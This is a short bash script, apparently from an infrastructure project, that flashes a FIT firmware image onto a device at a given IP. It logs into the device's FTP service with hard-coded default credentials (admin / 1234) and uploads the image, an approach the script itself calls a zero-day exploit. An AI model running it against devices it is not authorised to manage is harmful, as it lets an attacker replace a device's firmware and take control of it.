#!/usr/bin/env nix-shell
#!nix-shell -p inetutils -i bash
# SPDX-FileCopyrightText: 2024 Maurice Debray <maurice.debray@dgnum.eu>
#
# SPDX-License-Identifier: EUPL-1.2
#
# Tribute to RaitoBezarius for finding the exploit

set -euxo pipefail

usage() {
  echo "./ftp_zeroday.sh [FIT-IMAGE] [IP]"
}
if [ "$#" -ne 2 ]; then
  usage
  exit 1
fi
if ! [ -e "$1" ]; then
  echo "$1 not found" >&2
  exit 2
fi

IMAGE="$1"
IP="$2"

echo "Trying to flash $IMAGE to $IP..."

# TODO: make it exit cleanly
ftp -niv <<EOF
open $IP
user admin 1234
binary
put $IMAGE
EOF